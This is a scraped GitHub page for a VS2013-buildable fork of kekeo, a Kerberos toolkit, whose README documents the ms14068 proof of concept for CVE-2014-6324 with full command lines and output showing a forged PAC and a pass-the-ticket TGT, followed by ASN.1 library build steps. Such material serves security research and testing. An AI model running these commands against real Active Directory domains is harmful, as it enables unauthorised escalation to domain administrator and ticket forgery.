Skip to content

CaledoniaProject/kekeo-with-asn-vs2013

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

说明

不再需要下载 asn studio,可在 vs2013 上编译

kekeo

kekeo is a little toolbox I have started to manipulate Microsoft Kerberos in C (and for fun)

Tools

ms14068

A little POC for Kerberos MS14-068 / CVE-2014-6324 (https://technet.microsoft.com/library/security/ms14-068.aspx) !

Quick example: ms14068.exe /domain:vuln.local /user:utilisateur /password:waza1234/ /ptt

[KDC] 'dc.vuln.local' will be the main server
[AUTH] Impersonation
[KDC] 1 server(s) in list
[SID/RID] 'utilisateur @ vuln.local' must be translated to SID/RID

user     : utilisateur
domain   : vuln.local
password : ***
sid      : S-1-5-21-2666969376-4225180350-4077551764
rid      : 1104
key      : cc36cf7a8514893efccd332446158b1a (rc4_hmac_nt)
ticket   : ** Pass The Ticket **
 [level 1] Reality       (AS-REQ)
 [level 2] Van Chase     (PAC TIME)
  * PAC generated
  * PAC """signed"""
 [level 3] The Hotel     (TGS-REQ)
 [level 4] Snow Fortress (TGS-REQ)
  * DC : [level 5] Limbo ! (KRB-CRED) :  * TGT successfully submitted for current session
Auto inject BREAKS on first Pass-the-ticket

Full : ms14068.exe /domain:vuln.local /sid:S-1-5-21-2666969376-4225180350-4077551764 /user:utilisateur /rid:1104 /password:waza1234/ /aes256 /kdc:dc.vuln.local /ticket:utilisateur_admin.kirbi

user     : utilisateur
domain   : vuln.local
password : ***
sid      : S-1-5-21-2666969376-4225180350-4077551764
rid      : 1104
key      : e1c656c9d790509c3058203284591a240c2098ae6a71e7565e73162d6b3ee669 (aes256_hmac)
ticket   : utilisateur_admin.kirbi
kdc      : dc.vuln.local

 [level 1] Reality       (AS-REQ)
 [level 2] Van Chase     (PAC TIME)
  * PAC generated
  * PAC """signed"""
 [level 3] The Hotel     (TGS-REQ)
 [level 4] Snow Fortress (TGS-REQ)
 [level 5] Limbo         (KRB-CRED)
  * TGT in file 'utilisateur_admin.kirbi'

aoratopw

kirbikator

ASN.1 library

In kekeo, I use an external commercial library to deal with Kerberos ASN.1 structures: OSS ASN.1/C (http://www.oss.com/asn1/products/asn1-c/asn1-c.html)
It was the only code generator/library that I've found to work easily with Microsoft C project.

  • works without a lots of dependencies;
  • magical documentation;
  • wonderful support for my stupid questions;
  • had a binary that work only few hours after started my project...

They were kind enough to offer me a 1-year licence.
With this one, I'm able to let you download binaries that run in your environment.
So don't forget to thank them ( http://www.oss.com/company/contact-us.html / https://twitter.com/OSSNokalva )

Limitations

  • Binaries will work until March 16, 2016 (yeah, 1 year licence ;));
  • You must buy a licence from OSS ASN.1/C (or download a trial version) to build kekeo solution/adapt it.

Building kekeo with ASN.1/C

You can't build kekeo out-of-the-box, you'have to generate C files and link with OSS libraries.

After downloading a commercial/trial version of OSS ASN.1/C:

  1. Open ($kekeo)\modules\kull_m_kerberos_asn1.a1sproj in ASN.1 Studio, and generate files with Project/Compile (or F7) * It will create ($kekeo)\modules\kull_m_kerberos_asn1.c and ($kekeo)\modules\kull_m_kerberos_asn1.h
  2. Copy from OSS ASN.1/C install dir (eg: C:\Program Files (x86)\OSS Nokalva\ossasn1\win32\10.1.0\) * include\ossasn1.h to ($kekeo)\inc\ * include\osstype.h to ($kekeo)\inc\ * lib\toedcode.libto ($kekeo)\lib\ * lib\ossiphlp.libto ($kekeo)\lib\

You can now build the kekeo solution in Visual Studio

Licence

CC BY-NC-SA 4.0 licence - https://creativecommons.org/licenses/by-nc-sa/4.0/

Acknowledgements

Author

Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )

This is a personal development, please respect its philosophy and don't use it for bad things!

About

kekeo exploit

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages